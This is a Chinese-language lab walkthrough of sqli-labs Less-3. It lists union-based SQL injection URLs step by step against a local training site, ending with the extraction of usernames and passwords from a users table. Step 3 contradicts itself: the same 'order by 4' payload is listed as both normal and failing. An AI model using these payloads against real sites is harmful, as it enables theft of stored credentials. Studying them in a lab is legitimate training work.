1、判断注入类型

?id=1和?id=2-1的页面不一样

2、判断闭合类型

http://127.0.0.1/sqli-labs/Less-3/?id=1')and 1=1 --+ 页面正常

http://127.0.0.1/sqli-labs/Less-3/?id=1')and 1=2 --+ 页面变化

3、order by查看有几列

http://127.0.0.1/sqli-labs/Less-3/?id=1')order by 4 --+页面正常

http://127.0.0.1/sqli-labs/Less-3/?id=1')order by 4 --+ 页面错误

4、union select联合查询查看回显

http://127.0.0.1/sqli-labs/Less-3/?id=-1')union select 1,2,3 --+

5、查询库名

http://127.0.0.1/sqli-labs/Less-3/?id=-1')union select 1,2,database() --+

 

6、查询表名

http://127.0.0.1/sqli-labs/Less-3/?id=-1')union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

7、查询列名

http://127.0.0.1/sqli-labs/Less-3/?id=-1')union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+

 8、查询字段

http://127.0.0.1/sqli-labs/Less-3/?id=-1')union select 1,2,group_concat(0x7e,username,0x7e,password) from users --+